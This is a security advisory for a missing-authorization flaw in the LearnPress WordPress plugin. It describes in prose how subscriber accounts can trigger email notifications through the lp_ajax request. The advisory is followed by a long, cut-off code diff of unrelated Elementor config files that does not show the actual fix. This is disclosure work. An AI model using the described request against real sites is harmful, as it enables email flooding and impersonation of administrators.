Atomic Edge analysis of CVE-2026-3226:
The vulnerability stems from a missing capability check in the LearnPress plugin’s AJAX request dispatcher. The AbstractAjax::catch_lp_ajax() method verifies a wp_rest nonce but does not perform a current_user_can() authorization check before dispatching requests to handler functions in the SendEmailAjax class. This nonce is embedded in frontend JavaScript accessible to all authenticated users. The plugin contains ten email-sending functions within the SendEmailAjax class that lack individual capability checks. Attackers with Subscriber-level access or higher can send POST requests to /wp-admin/admin-ajax.php with the action parameter set to lp_ajax and the lp_ajax parameter specifying any of the vulnerable email functions. This allows arbitrary triggering of email notifications to administrators, instructors, and users. The patch adds a capability check in the AbstractAjax::catch_lp_ajax() method, requiring the manage_options capability (administrator level) before processing any lp_ajax request. This fix prevents lower-privileged users from accessing the email dispatch functions. Exploitation enables email flooding, social engineering attacks, and impersonation of administrative decisions regarding instructor requests.

CVE-2026-3226: LearnPress <= 4.3.2.8 – Missing Authorization to Authenticated (Subscriber+) Arbitrary Email Notification Triggering (learnpress)
CVE-2026-3226
learnpress
4.3.2.8
4.3.3
Analysis Overview
Differential between vulnerable and patched code
--- a/learnpress/assets/js/index.php
+++ b/learnpress/assets/js/index.php
@@ -1 +1 @@
-<?php // Silence is golden.
+<?php // Silence is golden.
--- a/learnpress/config/course-deliver-type.php
+++ b/learnpress/config/course-deliver-type.php
@@ -1,15 +1,15 @@
-<?php
-/**
- * Profile tabs
- *
- * @since 4.2.7
- * @version 1.0.0
- */
-
-$options = [
- 'private_1_1' => esc_html__( 'Private 1-1', 'learnpress' ),
- 'in_person_class' => esc_html__( 'In-person class', 'learnpress' ),
- 'live_class' => esc_html__( 'Live class', 'learnpress' ),
-];
-
-return apply_filters( 'learn-press/course/deliver-type', $options );
+<?php
+/**
+ * Profile tabs
+ *
+ * @since 4.2.7
+ * @version 1.0.0
+ */
+
+$options = [
+ 'private_1_1' => esc_html__( 'Private 1-1', 'learnpress' ),
+ 'in_person_class' => esc_html__( 'In-person class', 'learnpress' ),
+ 'live_class' => esc_html__( 'Live class', 'learnpress' ),
+];
+
+return apply_filters( 'learn-press/course/deliver-type', $options );
--- a/learnpress/config/elementor/course/course-price.php
+++ b/learnpress/config/elementor/course/course-price.php
@@ -1,112 +1,112 @@
-<?php
-/**
- * Elementor Controls for widget Course price settings.
- *
- * @since 4.2.3
- * @version 1.0.0
- */
-
-use ElementorControls_Manager;
-use ElementorGroup_Control_Typography;
-use LearnPressExternalPluginElementorLPElementorControls;
-
-$style_fields = array_merge(
- LPElementorControls::add_fields_in_section(
- 'style_regular_price',
- esc_html__( 'Regular Price', 'learnpress' ),
- Controls_Manager::TAB_STYLE,
- [
- 'price_align' => LPElementorControls::add_responsive_control_type(
- 'price_align',
- __( 'Alignment', 'learnpress' ),
- 'left',
- Controls_Manager::CHOOSE,
- [
- 'options' => [
- 'left' => [
- 'title' => esc_html__( 'Left', 'learnpress' ),
- 'icon' => 'eicon-text-align-left',
- ],
- 'center' => [
- 'title' => esc_html__( 'Center', 'learnpress' ),
- 'icon' => 'eicon-text-align-center',
- ],
- 'right' => [
- 'title' => esc_html__( 'Right', 'learnpress' ),
- 'icon' => 'eicon-text-align-right',
- ],
- ],
- 'toggle' => false,
- 'selectors' => [
- '{{WRAPPER}}' => 'text-align: {{VALUE}};',
- ],
- ]
- ),
- 'regular_price_color' => LPElementorControls::add_control_type_color(
- 'regular_price_color',
- esc_html__( 'Color', 'learnpress' ),
- [
- '{{WRAPPER}} .course-item-price' => 'color: {{VALUE}};',
- ]
- ),
- 'regular_price_typography' => LPElementorControls::add_group_control_type(
- 'regular_price_typography',
- Group_Control_Typography::get_type(),
- '{{WRAPPER}} .course-item-price'
- ),
- ]
- ),
- LPElementorControls::add_fields_in_section(
- 'style_origin_price',
- esc_html__( 'Origin Price', 'learnpress' ),
- Controls_Manager::TAB_STYLE,
- [
- 'origin_price_color' => LPElementorControls::add_control_type_color(
- 'origin_price_color',
- esc_html__( 'Color', 'learnpress' ),
- [
- '{{WRAPPER}} .course-item-price .origin-price' => 'color: {{VALUE}};',
- ]
- ),
- 'origin_price_typography' => LPElementorControls::add_group_control_type(
- 'origin_price_typography',
- Group_Control_Typography::get_type(),
- '{{WRAPPER}} .course-item-price .origin-price'
- ),
- 'origin_price_padding' => LPElementorControls::add_responsive_control_type(
- 'origin_price_padding',
- esc_html__( 'Padding', 'learnpress' ),
- [],
- Controls_Manager::DIMENSIONS,
- [
- 'size_units' => [ 'px', '%', 'custom' ],
- 'selectors' => array(
- '{{WRAPPER}} .course-item-price .origin-price' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
- ),
- ]
- )
- ]
- ),
- LPElementorControls::add_fields_in_section(
- 'style_free_price',
- esc_html__( 'Free Price', 'learnpress' ),
- Controls_Manager::TAB_STYLE,
- [
- 'free_price_color' => LPElementorControls::add_control_type_color(
- 'free_price_color',
- esc_html__( 'Color', 'learnpress' ),
- [
- '{{WRAPPER}} .course-item-price .free' => 'color: {{VALUE}};',
- ]
- )
- ]
- )
-);
-
-return apply_filters(
- 'learn-press/elementor/course-price',
- apply_filters(
- 'learn-press/elementor/course-price/tab-styles',
- $style_fields
- )
-);
+<?php
+/**
+ * Elementor Controls for widget Course price settings.
+ *
+ * @since 4.2.3
+ * @version 1.0.0
+ */
+
+use ElementorControls_Manager;
+use ElementorGroup_Control_Typography;
+use LearnPressExternalPluginElementorLPElementorControls;
+
+$style_fields = array_merge(
+ LPElementorControls::add_fields_in_section(
+ 'style_regular_price',
+ esc_html__( 'Regular Price', 'learnpress' ),
+ Controls_Manager::TAB_STYLE,
+ [
+ 'price_align' => LPElementorControls::add_responsive_control_type(
+ 'price_align',
+ __( 'Alignment', 'learnpress' ),
+ 'left',
+ Controls_Manager::CHOOSE,
+ [
+ 'options' => [
+ 'left' => [
+ 'title' => esc_html__( 'Left', 'learnpress' ),
+ 'icon' => 'eicon-text-align-left',
+ ],
+ 'center' => [
+ 'title' => esc_html__( 'Center', 'learnpress' ),
+ 'icon' => 'eicon-text-align-center',
+ ],
+ 'right' => [
+ 'title' => esc_html__( 'Right', 'learnpress' ),
+ 'icon' => 'eicon-text-align-right',
+ ],
+ ],
+ 'toggle' => false,
+ 'selectors' => [
+ '{{WRAPPER}}' => 'text-align: {{VALUE}};',
+ ],
+ ]
+ ),
+ 'regular_price_color' => LPElementorControls::add_control_type_color(
+ 'regular_price_color',
+ esc_html__( 'Color', 'learnpress' ),
+ [
+ '{{WRAPPER}} .course-item-price' => 'color: {{VALUE}};',
+ ]
+ ),
+ 'regular_price_typography' => LPElementorControls::add_group_control_type(
+ 'regular_price_typography',
+ Group_Control_Typography::get_type(),
+ '{{WRAPPER}} .course-item-price'
+ ),
+ ]
+ ),
+ LPElementorControls::add_fields_in_section(
+ 'style_origin_price',
+ esc_html__( 'Origin Price', 'learnpress' ),
+ Controls_Manager::TAB_STYLE,
+ [
+ 'origin_price_color' => LPElementorControls::add_control_type_color(
+ 'origin_price_color',
+ esc_html__( 'Color', 'learnpress' ),
+ [
+ '{{WRAPPER}} .course-item-price .origin-price' => 'color: {{VALUE}};',
+ ]
+ ),
+ 'origin_price_typography' => LPElementorControls::add_group_control_type(
+ 'origin_price_typography',
+ Group_Control_Typography::get_type(),
+ '{{WRAPPER}} .course-item-price .origin-price'
+ ),
+ 'origin_price_padding' => LPElementorControls::add_responsive_control_type(
+ 'origin_price_padding',
+ esc_html__( 'Padding', 'learnpress' ),
+ [],
+ Controls_Manager::DIMENSIONS,
+ [
+ 'size_units' => [ 'px', '%', 'custom' ],
+ 'selectors' => array(
+ '{{WRAPPER}} .course-item-price .origin-price' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
+ ),
+ ]
+ )
+ ]
+ ),
+ LPElementorControls::add_fields_in_section(
+ 'style_free_price',
+ esc_html__( 'Free Price', 'learnpress' ),
+ Controls_Manager::TAB_STYLE,
+ [
+ 'free_price_color' => LPElementorControls::add_control_type_color(
+ 'free_price_color',
+ esc_html__( 'Color', 'learnpress' ),
+ [
+ '{{WRAPPER}} .course-item-price .free' => 'color: {{VALUE}};',
+ ]
+ )
+ ]
+ )
+);
+
+return apply_filters(
+ 'learn-press/elementor/course-price',
+ apply_filters(
+ 'learn-press/elementor/course-price/tab-styles',
+ $style_fields
+ )
+);
--- a/learnpress/config/elementor/course/filter-course-el.php
+++ b/learnpress/config/elementor/course/filter-course-el.php
@@ -1,780 +1,780 @@
-<?php
-/**
- * Elementor Controls for widget filter course settings.
- *
- * @since 4.2.5
- * @version 1.0.0
- */
-
-use ElementorControls_Manager;
-use ElementorGroup_Control_Border;
-use ElementorGroup_Control_Box_Shadow;
-use LearnPressExternalPluginElementorLPElementorControls;
-
-$content_fields = array_merge(
- LPElementorControls::add_fields_in_section(
- 'filter_area',
- esc_html__( 'Filter Area', 'learnpress' ),
- Controls_Manager::TAB_CONTENT,
- [
- LPElementorControls::add_control_type(
- 'item_filter',
- esc_html__( 'Fields', 'learnpress' ),
- [
- [
- 'item_fields' => 'category',
- ],
- [
- 'item_fields' => 'btn_submit',
- ],
- ],
- Controls_Manager::REPEATER,
- [
- 'fields' => [
- [
- 'name' => 'item_fields',
- 'label' => esc_html__( 'Filter By', 'learnpress' ),
- 'type' => Controls_Manager::SELECT,
- 'options' => array(
- 'search' => esc_html__( 'Keyword', 'learnpress' ),
- 'price' => esc_html__( 'Price', 'learnpress' ),
- 'category' => esc_html__( 'Course Category', 'learnpress' ),
- 'tag' => esc_html__( 'Course Tag', 'learnpress' ),
- 'author' => esc_html__( 'Author', 'learnpress' ),
- 'level' => esc_html__( 'Level', 'learnpress' ),
- 'btn_submit' => esc_html__( 'Button Submit', 'learnpress' ),
- 'btn_reset' => esc_html__( 'Button Reset', 'learnpress' ),
- ),
- ],
- // [
- // 'name' => 'type_source',
- // 'label' => esc_html__( 'Type Source', 'learnpress' ),
- // 'type' => Controls_Manager::SELECT,
- // 'default' => 'checkbox',
- // 'options' => array(
- // 'checkbox' => esc_html__( 'Check Box', 'learnpress' ),
- // 'dropdown' => esc_html__( 'Drop Down (Coming Soon)', 'learnpress' ),
- // ),
- // 'condition' => [
- // 'item_fields' => [ 'price', 'category', 'tag', 'author', 'level' ],
- // ],
- // ],
- [
- 'name' => 'enable_count',
- 'label' => esc_html__( 'Show Count', 'learnpress' ),
- 'type' => Controls_Manager::SWITCHER,
- 'default' => 'yes',
- 'label_on' => esc_html__( 'Show', 'learnpress' ),
- 'label_off' => esc_html__( 'Hide', 'learnpress' ),
- 'return_value' => 'yes',
- 'condition' => [
- 'item_fields' => [ 'price', 'category', 'tag', 'author', 'level' ],
- ],
- ],
- [
- 'name' => 'heading_setting',
- 'label' => esc_html__( 'Heading Setting', 'learnpress' ),
- 'type' => Controls_Manager::POPOVER_TOGGLE,
- 'label_off' => esc_html__( 'Default', 'learnpress' ),
- 'label_on' => esc_html__( 'Custom', 'learnpress' ),
- 'return_value' => 'yes',
- 'condition' => [
- 'item_fields!' => [ 'btn_submit', 'btn_reset' ],
- ],
- ],
- [ 'method' => 'start_popover' ],
- [
- 'name' => 'enable_heading',
- 'label' => esc_html__( 'Enable Heading', 'learnpress' ),
- 'type' => Controls_Manager::SWITCHER,
- 'default' => 'yes',
- 'label_on' => esc_html__( 'Show', 'learnpress' ),
- 'label_off' => esc_html__( 'Hide', 'learnpress' ),
- 'return_value' => 'yes',
- ],
- [
- 'name' => 'toggle_content',
- 'label' => esc_html__( 'Toggle Content', 'learnpress' ),
- 'type' => Controls_Manager::SWITCHER,
- 'default' => 'no',
- 'label_on' => esc_html__( 'Show', 'learnpress' ),
- 'label_off' => esc_html__( 'Hide', 'learnpress' ),
- 'return_value' => 'yes',
- 'condition' => [
- 'enable_heading' => 'yes',
- ],
- ],
- [
- 'name' => 'default_toggle_on',
- 'label' => esc_html__( 'Default Toggle On', 'learnpress' ),
- 'type' => Controls_Manager::SWITCHER,
- 'default' => 'yes',
- 'label_on' => esc_html__( 'Show', 'learnpress' ),
- 'label_off' => esc_html__( 'Hide', 'learnpress' ),
- 'return_value' => 'yes',
- 'condition' => [
- 'enable_heading' => 'yes',
- 'toggle_content' => 'yes',
- ],
- ],
- [ 'method' => 'end_popover' ],
- ],
- 'prevent_empty' => false,
- 'title_field' => '{{{ item_fields }}}',
- ]
- ),
- ]
- ),
- LPElementorControls::add_fields_in_section(
- 'extra_option',
- esc_html__( 'Extra Option', 'learnpress' ),
- Controls_Manager::TAB_CONTENT,
- [
- LPElementorControls::add_control_type(
- 'show_in_rest',
- esc_html__( 'Load widget via REST', 'learnpress' ),
- 'no',
- Controls_Manager::SWITCHER,
- [
- 'label_on' => esc_html__( 'Yes', 'learnpress' ),
- 'label_off' => esc_html__( 'No', 'learnpress' ),
- 'return_value' => 'yes',
- ]
- ),
- LPElementorControls::add_control_type(
- 'search_suggestion',
- esc_html__( 'Enable Keyword Search Suggestion', 'learnpress' ),
- '0',
- Controls_Manager::SWITCHER,
- [
- '1' => esc_html__( 'Yes', 'learnpress' ),
- '0' => esc_html__( 'No', 'learnpress' ),
- 'return_value' => '1',
- ]
- ),
- LPElementorControls::add_control_type(
- 'filter_toggle_button',
- esc_html__( 'Filter Toggle Button', 'learnpress' ),
- 'no',
- Controls_Manager::POPOVER_TOGGLE,
- [
- 'label_on' => esc_html__( 'Yes', 'learnpress' ),
- 'label_off' => esc_html__( 'No', 'learnpress' ),
- 'return_value' => 'yes',
- ]
- ),
- 'popover_start' => [
- 'method' => 'start_popover',
- ],
- LPElementorControls::add_control_type(
- 'enable_filter_button',
- esc_html__( 'Filter Toggle Button', 'learnpress' ),
- 'no',
- Controls_Manager::SWITCHER,
- [
- 'label_on' => esc_html__( 'Show', 'learnpress' ),
- 'label_off' => esc_html__( 'Hide', 'learnpress' ),
- 'return_value' => 'yes',
- ]
- ),
- LPElementorControls::add_control_type(
- 'text_filter_button',
- esc_html__( 'Text Button', 'learnpress' ),
- esc_html__( 'Filter', 'learnpress' ),
- Controls_Manager::TEXT,
- [
- 'label_block' => false,
- 'condition' => [
- 'enable_filter_button' => 'yes',
- ]
- ]
- ),
- LPElementorControls::add_control_type(
- 'enable_icon_filter_button',
- esc_html__( 'Button Icon', 'learnpress' ),
- 'no',
- Controls_Manager::SWITCHER,
- [
- 'label_on' => esc_html__( 'Show', 'learnpress' ),
- 'label_off' => esc_html__( 'Hide', 'learnpress' ),
- 'return_value' => 'yes',
- 'condition' => [
- 'enable_filter_button' => 'yes',
- ]
- ]
- ),
- LPElementorControls::add_control_type(
- 'icon_filter_button',
- esc_html__( 'Icon', 'learnpress' ),
- [],
- Controls_Manager::ICONS,
- [
- 'skin' => 'inline',
- 'label_block' => false,
- 'condition' => [
- 'enable_filter_button' => 'yes',
- 'enable_icon_filter_button' => 'yes',
- ]
- ]
- ),
- LPElementorControls::add_control_type_select(
- 'icon_position',
- esc_html__( 'Icon Position', 'learnpress' ),
- [
- 'left' => esc_html__( 'Before', 'learnpress' ),
- 'right' => esc_html__( 'After', 'learnpress' ),
- ],
- 'left',
- [
- 'condition' => [
- 'enable_filter_button' => 'yes',
- 'enable_icon_filter_button' => 'yes',
- ]
- ]
- ),
- LPElementorControls::add_control_type(
- 'filter_selected_number',
- esc_html__( 'Filter Selected Number', 'learnpress' ),
- 'yes',
- Controls_Manager::SWITCHER,
- [
- 'label_on' => esc_html__( 'Yes', 'learnpress' ),
- 'label_off' => esc_html__( 'No', 'learnpress' ),
- 'return_value' => 'yes',
- 'condition' => [
- 'enable_filter_button' => 'yes',
- ]
- ]
- ),
- LPElementorControls::add_responsive_control_type(
- "filter_section_width",
- esc_html__( 'Width', 'learnpress' ),
- [
- 'size' => 300,
- ],
- Controls_Manager::SLIDER,
- [
- 'size_units' => array( 'px', '%', 'custom' ),
- 'range' => array(
- 'px' => array(
- 'min' => 1,
- 'max' => 1000,
- 'step'=> 5
- ),
- ),
- 'selectors' => array(
- '{{WRAPPER}} .lp-form-course-filter' => 'width: {{SIZE}}{{UNIT}};',
- ),
- 'condition' => [
- 'enable_filter_button' => 'yes',
- ]
- ]
- ),
- 'popover_end' => [
- 'method' => 'end_popover',
- ],
- LPElementorControls::add_control_type(
- 'filter_selected_list',
- esc_html__( 'Filter Selected List', 'learnpress' ),
- 'no',
- Controls_Manager::SWITCHER,
- [
- 'label_on' => esc_html__( 'Yes', 'learnpress' ),
- 'label_off' => esc_html__( 'No', 'learnpress' ),
- 'return_value' => 'yes',
- ]
- ),
- ]
- ),
- []
-);
-
-$style_fields = array_merge(
- LPElementorControls::add_fields_in_section(
- 'filter_section',
- esc_html__( 'Section', 'learnpress' ),
- Controls_Manager::TAB_STYLE,
- [
- 'filter_section_margin' => LPElementorControls::add_responsive_control_type(
- 'filter_section_margin',
- esc_html__( 'Margin', 'learnpress' ),
- [],
- Controls_Manager::DIMENSIONS,
- [
- 'size_units' => [ 'px', '%', 'custom' ],
- 'selectors' => array(
- '{{WRAPPER}} .lp-form-course-filter' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
- ),
- ]
- ),
- 'filter_section_padding' => LPElementorControls::add_responsive_control_type(
- 'filter_section_padding',
- esc_html__( 'Padding', 'learnpress' ),
- [],
- Controls_Manager::DIMENSIONS,
- [
- 'size_units' => [ 'px', '%', 'custom' ],
- 'selectors' => array(
- '{{WRAPPER}} .lp-form-course-filter' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
- ),
- ]
- ),
- 'filter_section_border' => LPElementorControls::add_group_control_type(
- 'filter_section_border',
- Group_Control_Border::get_type(),
- '{{WRAPPER}} .lp-form-course-filter'
- ),
- 'filter_section_background' => LPElementorControls::add_control_type_color(
- 'filter_section_background',
- esc_html__( 'Background', 'learnpress' ),
- [ '{{WRAPPER}} .lp-form-course-filter' => 'background: {{VALUE}}' ]
- ),
- 'filter_section_radius' => LPElementorControls::add_responsive_control_type(
- 'filter_section_radius',
- esc_html__( 'Radius', 'learnpress' ),
- [],
- Controls_Manager::DIMENSIONS,
- [
- 'size_units' => [ 'px', '%', 'custom' ],
- 'selectors' => array(
- '{{WRAPPER}} .lp-form-course-filter' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
- ),
- ]
- ),
- 'filter_section_Shadow' => LPElementorControls::add_group_control_type(
- 'filter_section_Shadow',
- Group_Control_Box_Shadow::get_type(),
- '{{WRAPPER}} .lp-form-course-filter'
- ),
- ]
- ),
- LPElementorControls::add_fields_in_section(
- 'filter_item',
- esc_html__( 'Item', 'learnpress' ),
- Controls_Manager::TAB_STYLE,
- [
- 'item_margin' => LPElementorControls::add_responsive_control_type(
- 'item_margin',
- esc_html__( 'Margin', 'learnpress' ),
- [],
- Controls_Manager::DIMENSIONS,
- [
- 'size_units' => [ 'px', '%', 'custom' ],
- 'selectors' => array(
- '{{WRAPPER}} .lp-form-course-filter__item' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
- ),
- ]
- ),
- 'item_padding' => LPElementorControls::add_responsive_control_type(
- 'item_padding',
- esc_html__( 'Padding', 'learnpress' ),
- [],
- Controls_Manager::DIMENSIONS,
- [
- 'size_units' => [ 'px', '%', 'custom' ],
- 'selectors' => array(
- '{{WRAPPER}} .lp-form-course-filter__item' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
- ),
- ]
- ),
- 'item_border' => LPElementorControls::add_group_control_type(
- 'item_border',
- Group_Control_Border::get_type(),
- '{{WRAPPER}} .lp-form-course-filter__item'
- ),
- 'item_background' => LPElementorControls::add_control_type_color(
- 'layout_background',
- esc_html__( 'Background', 'learnpress' ),
- [ '{{WRAPPER}} .lp-form-course-filter__item' => 'background: {{VALUE}}' ]
- ),
- 'item_radius' => LPElementorControls::add_responsive_control_type(
- 'item_radius',
- esc_html__( 'Radius', 'learnpress' ),
- [],
- Controls_Manager::DIMENSIONS,
- [
- 'size_units' => [ 'px', '%', 'custom' ],
- 'selectors' => array(
- '{{WRAPPER}} .lp-form-course-filter__item' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
- ),
- ]
- ),
- 'toggle_offset_x' => LPElementorControls::add_responsive_control_type(
- 'toggle_offset_x',
- esc_html__( 'Toggle Offset X (px)', 'learnpress' ),
- '',
- Controls_Manager::NUMBER,
- [
- 'label_block' => false,
- 'selectors' => array(
- '{{WRAPPER}} .toggle-content >.icon-toggle-filter' => 'right:{{VALUE}}px',
- ),
- ]
- ),
- 'toggle_offset_y' => LPElementorControls::add_responsive_control_type(
- 'toggle_offset_y',
- esc_html__( 'Toggle Offset Y (px)', 'learnpress' ),
- '',
- Controls_Manager::NUMBER,
- [
- 'label_block' => false,
- 'selectors' => array(
- '{{WRAPPER}} .toggle-content >.icon-toggle-filter' => 'top:{{VALUE}}px',
- ),
- ]
- ),
- ]
- ),
- LPElementorControls::add_fields_in_section(
- 'filter_title',
- esc_html__( 'Title', 'learnpress' ),
- Controls_Manager::TAB_STYLE,
- LPElementorControls::add_controls_style_text(
- 'filter_title',
- '.lp-form-course-filter .lp-form-course-filter__title',
- [],
- [ 'text_display','text_background', 'text_background_hover' ]
- )
- ),
- LPElementorControls::add_fields_in_section(
- 'filter_content',
- esc_html__( 'Label', 'learnpress' ),
- Controls_Manager::TAB_STYLE,
- array_merge(
- LPElementorControls::add_controls_style_text(
- 'filter_content',
- '.lp-form-course-filter .lp-form-course-filter__item .lp-form-course-filter__content label',
- [],
- [ 'text_display', 'text_shadow', 'text_background', 'text_background_hover' ]
- ),
- [
- 'horizontal_align' => LPElementorControls::add_responsive_control_type(
- 'horizontal_align',
- esc_html__( 'Horizontal Align', 'learnpress' ),
- '',
- Controls_Manager::CHOOSE,
- [
- 'options' => [
- 'row-reverse' => [
- 'title' => esc_html__( 'Left', 'learnpress' ),
- 'icon' => 'eicon-h-align-left',
- ],
- 'row' => [
- 'title' => esc_html__( 'Right', 'learnpress' ),
- 'icon' => 'eicon-h-align-right',
- ],
- ],
- 'selectors' => [
- '{{WRAPPER}} .lp-form-course-filter__item .lp-form-course-filter__content .lp-course-filter__field' => 'flex-direction: {{VALUE}};',
- ],
- ]
- ),
- ]
- )
- ),
- LPElementorControls::add_fields_in_section(
- 'filter_count',
- esc_html__( 'Count', 'learnpress' ),
- Controls_Manager::TAB_STYLE,
- LPElementorControls::add_controls_style_text(
- 'filter_count',
- '.lp-form-course-filter .lp-form-course-filter__item .lp-form-course-filter__content .count',
- [],
- [ 'text_display','text_shadow', 'text_background', 'text_background_hover' ]
- )
- ),
- LPElementorControls::add_fields_in_section(
- 'input_search',
- esc_html__( 'Search', 'learnpress' ),
- Controls_Manager::TAB_STYLE,
- LPElementorControls::add_controls_style_button(
- 'input_search',
- '.lp-form-course-filter__content .lp-course-filter-search-field input',
- [],
- [ 'text_display','text_shadow', 'text_color_hover', 'text_background', 'text_background_hover' ]
- )
- ),
- LPElementorControls::add_fields_in_section(
- 'btn_submit',
- esc_html__( 'Button Submit', 'learnpress' ),
- Controls_Manager::TAB_STYLE,
- LPElementorControls::add_controls_style_button(
- 'btn_submit',
- '.course-filter-submit',
- [
- 'btn_submit_align' => LPElementorControls::add_responsive_control_type(
- 'btn_submit_align',
- esc_html__( 'Alignment', 'learnpress' ),
- '',
- Controls_Manager::CHOOSE,
- [
- 'options' => [
- 'left' => [
- 'title' => esc_html__( 'Left', 'learnpress' ),
- 'icon' => 'eicon-text-align-left',
- ],
- 'center' => [
- 'title' => esc_html__( 'Center', 'learnpress' ),
- 'icon' => 'eicon-text-align-center',
- ],
- 'right' => [
- 'title' => esc_html__( 'Right', 'learnpress' ),
- 'icon' => 'eicon-text-align-right',
- ],
- ],
- 'selectors' => [
- '{{WRAPPER}} .course-filter-submit' => 'text-align: {{VALUE}};',
- ],
- ]
- ),
- 'btn_submit_width' => LPElementorControls::add_responsive_control_type(
- 'btn_submit_width',
- esc_html__( 'Width', 'learnpress' ),
- [],
- Controls_Manager::SLIDER,
- [
- 'size_units' => array( 'px', '%', 'custom' ),
- 'range' => array(
- 'px' => array(
- 'min' => 1,
- 'max' => 500,
- 'step' => 5,
- ),
- ),
- 'selectors' => array(
- '{{WRAPPER}} .course-filter-submit' => 'width: {{SIZE}}{{UNIT}};',
- ),
- ]
- ),
- ],
- [ 'text_display' ]
- )
- ),
- LPElementorControls::add_fields_in_section(
- 'btn_reset',
- esc_html__( 'Button Reset', 'learnpress' ),
- Controls_Manager::TAB_STYLE,
- LPElementorControls::add_controls_style_button(
- 'btn_reset',
- '.course-filter-reset',
- [
- 'btn_reset_align' => LPElementorControls::add_responsive_control_type(
- 'btn_reset_align',
- esc_html__( 'Alignment', 'learnpress' ),
- '',
- Controls_Manager::CHOOSE,
- [
- 'options' => [
- 'left' => [
- 'title' => esc_html__( 'Left', 'learnpress' ),
- 'icon' => 'eicon-text-align-left',
- ],
- 'center' => [
- 'title' => esc_html__( 'Center', 'learnpress' ),
- 'icon' => 'eicon-text-align-center',
- ],
- 'right' => [
- 'title' => esc_html__( 'Right', 'learnpress' ),
- 'icon' => 'eicon-text-align-right',
- ],
- ],
- 'selectors' => [
- '{{WRAPPER}} .course-filter-reset' => 'text-align: {{VALUE}};',
- ],
- ]
- ),
- 'btn_reset_width' => LPElementorControls::add_responsive_control_type(
- 'btn_reset_width',
- esc_html__( 'Width', 'learnpress' ),
- [],
- Controls_Manager::SLIDER,
- [
- 'size_units' => array( 'px', '%', 'custom' ),
- 'range' => array(
- 'px' => array(
- 'min' => 1,
- 'max' => 500,
- 'step' => 5,
- ),
- ),
- 'selectors' => array(
- '{{WRAPPER}} .course-filter-reset' => 'width: {{SIZE}}{{UNIT}};',
- ),
- ]
- ),
- 'btn_reset_position' => LPElementorControls::add_control_type_select(
- 'btn_reset_position',
- esc_html__( 'Position', 'learnpress' ),
- [
- 'static' => esc_html__( 'Static', 'learnpress' ),
- 'absolute' => esc_html__( 'Absolute', 'learnpress' ),
- ],
- 'static',
- [
- 'selectors' => [
- '{{WRAPPER}} .lp-form-course-filter .course-filter-reset' => 'position: {{VALUE}};',
- ],
- ]
- ),
- 'reset_offset_x' => LPElementorControls::add_responsive_control_type(
- 'reset_offset_x',
- esc_html__( 'Offset X (px)', 'learnpress' ),
- '',
- Controls_Manager::NUMBER,
- [
- 'label_block' => false,
- 'selectors' => array(
- '{{WRAPPER}} .lp-form-course-filter .course-filter-reset' => 'right:{{VALUE}}px',
- ),
- 'condition' => [
- 'btn_reset_position' => 'absolute',
- ],
- ]
- ),
- 'reset_offset_y' => LPElementorControls::add_responsive_control_type(
- 'reset_offset_y',
- esc_html__( 'Offset Y (px)', 'learnpress' ),
- '',
- Controls_Manager::NUMBER,
- [
- 'label_block' => false,
- 'selectors' => array(
- '{{WRAPPER}} .lp-form-course-filter .course-filter-reset' => 'top:{{VALUE}}px',
- ),
- 'condition' => [
- 'btn_reset_position' => 'absolute',
- ],
- ]
- ),
- ],
- [ 'text_display' ]
- )
- ),
- LPElementorControls::add_fields_in_section(
- 'btn_popup',
- esc_html__( 'Button Popup', 'learnpress' ),
- Controls_Manager::TAB_STYLE,
- array_merge(
- LPElementorControls::add_controls_style_button(
- 'btn_popup',
- '.lp-button-popup',
- [
- 'btn_popup_align' => LPElementorControls::add_responsive_control_type(
- 'btn_popup_align',
- esc_html__( 'Alignment', 'learnpress' ),
- '',
- Controls_Manager::CHOOSE,
- [
- 'options' => [
- 'left' => [
- 'title' => esc_html__( 'Left', 'learnpress' ),
- 'icon' => 'eicon-text-align-left',
- ],
- 'center' => [
- 'title' => esc_html__( 'Center', 'learnpress' ),
- 'icon' => 'eicon-text-align-center',
- ],
- 'right' => [
- 'title' => esc_html__( 'Right', 'learnpress' ),
- 'icon' => 'eicon-text-align-right',
- ],
- ],
- 'selectors' => [
- '{{WRAPPER}} .lp-button-popup' => 'text-align: {{VALUE}};',
- ],
- ]
- ),
- 'btn_popup_width' => LPElementorControls::add_responsive_control_type(
- 'btn_popup_width',
- esc_html__( 'Width', 'learnpress' ),
- [],
- Controls_Manager::SLIDER,
- [
- 'size_units' => array( 'px', '%', 'custom' ),
- 'range' => array(
- 'px' => array(
- 'min' => 1,
- 'max' => 500,
- 'step' => 5,
- ),
- ),
- 'selectors' => array(
- '{{WRAPPER}} .lp-button-popup' => 'width: {{SIZE}}{{UNIT}};',
- ),
- ]
- ),
- ],
- [ 'text_display' ]
- ),
- [
- 'heading_selected_list' => LPElementorControls::add_control_type(
- 'heading_selected_list',
- esc_html__( 'Selected List', 'learnpress' ),
- '',
- Controls_Manager::HEADING,
- [
- 'separator' => 'before',
- ]
- ),
- ],
- LPElementorControls::add_controls_style_button(
- 'selected_list',
- '.selected-list span',
- [],
- [ 'text_display', 'text_shadow' ]
- ),
- [
- 'heading_selected_number' => LPElementorControls::add_control_type(
- 'heading_selected_number',
- esc_html__( 'Selected Number', 'learnpress' ),
- '',
- Controls_Manager::HEADING,
- [
- 'separator' => 'before',
- ]
- ),
- ],
- LPElementorControls::add_controls_style_button(
- 'selected_number',
- '.selected-filter',
- [
- 'selected_number_width' => LPElementorControls::add_responsive_control_type(
- 'selected_number_width',
- esc_html__( 'Width', 'learnpress' ),
- [],
